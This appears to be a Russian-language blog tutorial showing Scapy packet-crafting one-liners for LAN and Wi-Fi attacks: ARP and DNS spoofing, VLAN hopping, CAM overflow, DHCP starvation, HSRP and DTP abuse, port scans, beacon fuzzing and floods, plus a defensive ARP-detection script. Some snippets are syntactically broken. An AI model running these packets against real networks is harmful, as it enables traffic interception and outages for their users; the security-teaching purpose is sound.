Мощь Scapy

Scapy — инструмент создания и работы с сетевыми пакетами. Программа написана на языке python, автор Philippe Biondi. Познакомиться с основным функционалам можно здесь. Scapy — универсальный, поистине мощный инструмент для работы с сетью и проведения исследований в области информационной безопасности. В статье я попытаюсь заинтересовать Вас использовать scapy в своей работе/проектах. Думаю, что лучше всего этого можно добиться, показав на примерах основные преимущества scapy.
В качестве примеров я возьму простые и наглядные задачи, которые можно решить средствами scapy. Основным направлением будет формирование пакетов для реализации того или иного вида атак.

ARP-spoofing

>>> sendp(Ether(dst='targetMAC')/ARP(op='is-at', psrc='gatewayIP', pdst='targetIP', hwsrc='attackerMAC'))

Сформированный таким образом пакет «отравит» arp кэш targetIP. Одна из сильных черт scapy — наглядность, то есть Вам необходимо понимать, что Вы хотите сделать, конечно это может создать некоторые трудности, но зато поможет сформировать целостную картину и защитит от «выстрела в ногу». Например, взглянув на сформированный таким образом пакет, становится понятно, что ARP-spoofing не вылечить с помощью port security потому, что MAC адрес отправителя не меняется, в таком случае нас спасет только arp инспекция. Хотя, давайте попробуем реализовать защиту с использованием scapy. Предположим, что весь трафик коммутатора мы зеркалируем на порт, где у нас будет происходить анализ. Выявлять атаку предлагаю по принципу, если компьютер не отправлял arp запрос, то и arp ответа он получать не должен.

import time
from scapy.all import *

arp_table = {}
def arp_inspection(pkt):
    global arp_table
    op = pkt.getlayer(ARP).op      # получаем параметр op протокола ARP, список параметров можно посмотреть так: >>> ls(ARP)
    src = pkt.getlayer(Ether).src      # параметр src (MAC source) протокола Ethernet 
    if op == 1:      # op is who-has
        arp_table[src] = time.time()      # сохраняем MAC отправителя и время получения в arp_table
    if op == 2:      # op is is-at
	dst = pkt.getlayer(Ether).dst 
        if dst in arp_table:
            time_arp_req = arp_table.pop(dst, None)      # по значению dst получаем время, когда производили запись в arp_table
            if int(time.time() - time_arp_req) > 5: 
                print "Alert! Attack from %s" % src
        else:
            print "Alert! Attack from %s" % src

sniff(filter='arp', prn=arp_inspection)

Скрипт отрабатывает заложенную логику и такие программы, как например «cain & abel» не смогут бесшумно провести ARP-spoofing. Но мы с Вами знаем, что есть особенности реализации arp в некоторых операционных системах, а именно если компьютеру приходит arp запрос с просьбой сообщить информацию о себе, он автоматически доверяет ему и заносит соответствие ip-mac отправителя к себе в таблицу. Т.е. следующий пакет так же «отравит» arp кэш.

>>> sendp(Ether(dst='targetMAC')/ARP(op='who-has', psrc='gatewayIP', pdst='targetIP'))

В этом случае наш скрипт не будет эффективен. Получается, что работая со scapy Вы изучаете не только программу, но и сами протоколы, их логику.

VLAN Hooping

>>> send(Dot1Q(vlan=1)/Dot1Q(vlan=2)/IP(dst='targetIP')/ICMP()

Следующим достоинством scapy, считаю — гибкость. Классическим примером(гибкости) является ситуация, когда нам необходимо произвести arp-spoofing в соседнем vlan, нам не придется писать новую программу, надо правильно собрать пакет.

>>> sendp(Ether(dst='clientMAC')/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op='who-has', psrc='gatewayIP', pdst='clientIP'))

К сожалению, даже в случае успешной реализации, мы получим одностороннюю связь и для организации MITM внутри соседнего vlan нам будет нужен «свой агент».

CAM Table Overflow

>>> sendp(Ether(src=RandMAC())/IP(dst='gatewayIP')/ICMP(), loop=1)

RandMAC() — функция возвращает произвольное значение, в формате MAC адреса; параметр loop — зацикливает отправку, что в итоге приводит к исчерпанию буфера таблицы коммутатора. Наверное, это пример простоты реализации некоторых атак.

Больше примеров

Далее я покажу примеры практически без описания, они просты и, возможно, некоторые из них послужат отправной точкой для использования scapy в Вашей работе. Например, исчерпание DHCP пула выглядит следующим образом.

>>> sendp(Ether(src=RandMAC(),dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=RandMAC())/DHCP(options=[("message-type","discover"),"end"]), loop=1)

DNS-spoofing реализуется так.

send(IP(dst='dnsserverIP'/UDP(dport=53)/DNS(qd=DNSQR(qname="google.com")))

HSRP spoofing

sendp(Ether(src=’00:00:0C:07:AC:02’, dst=’01:00:5E:00:00:02’ )/IP(dst=’224.0.0.2’, src='attacerIP', ttl=1)/UDP()/HSRP(priority=230, virtualIP='virtualIP'), inter=3, loop=1) 

src mac – HSRP virtual MAC (возможный диапазон 00:00:0C:9F:F0:00 — 00:00:0C:9F:FF:FF); dst mac – IP v4 multicast MAC (возможный диапазон 01:00:5E:00:00:00 — 01:00:5E:00:00:FF); ip dst – ipv4 multicast address (224.0.0.0/24); priority – приоритет маршрута, значения от 0 до 255; inter=3 — в соответствии с интервалом по умолчанию на оборудовании cisco; все остальные настройки, аналогичны настройкам по умолчанию оборудования cisco. Такой пакет сделает attacerIP активным HSRP маршрутом.
Различные способы сканирование портов.

>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="S")) # SYN
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="A")) # ACK
>>> res = sr1(IP(dst='targetIP')/TCP(dport=443, flags="FPU")) # Xmas

Посмотреть результат можно таким образом.

if res.getlayer(TCP).flags == 0x12:
    print "Open"
elif res.getlayer(TCP).flags == 0x14:
    print "Close"

Или так.

>>> res, unres = sr(IP(dst='targetIP')/TCP(dport=[443, 80, 22], flags="S"))
>>> res.summary(lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%")
https      RA
www        SA
ssh        RA

Следующая положительная особенность scapy — возможность создавать протоколы самостоятельно.Протокол DTP не реализован в рамках штатного набора, зато его можно загрузить как модуль.

>>> load_contrib('dtp')

Опасность DTP состоит в том, что мы самостоятельно можем перевести порт коммутатора в режим trunk и получить расширенный доступ. Если взглянуть в исходники модуля, то увидим там функцию которая нам поможет включить режим trunk на интерфейсе.

def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
    print "Trying to negotiate a trunk on interface %s" % iface
    p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
    sendp(p)

Вместе с загрузкой протокола DTP, мы загружаем и функцию negotiate_trunk, можем её выполнить прямо из консоли интерпретатора и результат не заставит себя долго ждать.

>>> negotiate_trunk()

802.11

Scapy может успешно работать с беспроводными сетями, в большинстве функционала способен заменить Aircrack-ng. Например, посмотреть список доступных сетей можно так.

from scapy.all import *

ap_list = []
def ssid(pkt) : 
    if pkt.haslayer(Dot11) :      # проверяем имеется ли в пакете уровень 802.11
        if pkt.type == 0 and pkt.subtype == 8:      # type 0 subtype 8 - тип пакета Beacon (первичная информация точки доступа) 
            if pkt.addr2 not in ap_list:
                ap_list.append(pkt.addr2)
                print "AP: %s SSID: %s" % (ptk.addr2, ptk.info)
				
sniff(iface='mon0', prn=ssid)

Довольно просто, давайте что-нибудь посложнее. Предположим, что Вам поставлена задача не допустить работы беспроводных устройств на контролируемой территории. Каким образом это организовать, если не прибегать к радиочастотным глушителям? Одним из вариантов может являться подавление работы устройств пользователей. Организовать это можно путем отправки клиентам Deauth пакета.

Начинающие исследователи могут упростить подход к задачам фаззинга протоколов, в scapy реализован простейший функционал. Например, простейший фаззинг Beacon пакетов может выглядеть так.

>>>sendp(RadioTap(version=0, pad=0)/
         Dot11(addr1='ff:ff:ff:ff:ff:ff', addr2='00:c0:ca:76:3d:33', addr3='00:c0:ca:76:3d:33')/
         Dot11Beacon(cap="ESS") / 
         fuzz(Dot11Elt(ID="SSID"))/
         fuzz(Dot11Elt(ID="Rates")/
         fuzz(ID="DSset"))/
         fuzz(Dot11Elt(ID="TIM")),
         iface="mon0", count=10, inter=0.05, verbose=0)

Нагрузочное тестирование

Последним в списке примеров, но далеко не последним по значению, у меня будет использование scapy для проведения нагрузочного тестирования на каналы связи. Я в этом вопросе не специалист и возможно объём генерируемого трафика не самый важный параметр, но все же. В scapy это делается просто, как и многое другое.

>>> sendpfast((Ether(dst='targetMAC')/IP(dst='targetIP')/ICMP('A'*100)*100, loop=1000)

По выполнению команды, должен появится подобный результат.


На стороне приема трафика замер wireshark'ом подтверждает цифры отправителя.

Итоги

Итак, перечислим достоинства.
1) Наглядность (понимание того, что будет происходить)
2) Гибкость (пакеты можно собирать как угодно)
3) Расширяемость (создание собственных протоколов)
4) Python
Надеюсь, мне удалось достичь поставленных целей и в случае необходимости Вы вспомните о существовании такого инструмента, как scapy. Если будет интерес к статье, я постараюсь написать(перевести и адаптировать) материал по созданию собственных протоколов в scapy.

P.S.
Последнюю версию scapy можно загрузить со scapy.net. В статье были использованы материалы официальной документации scapy.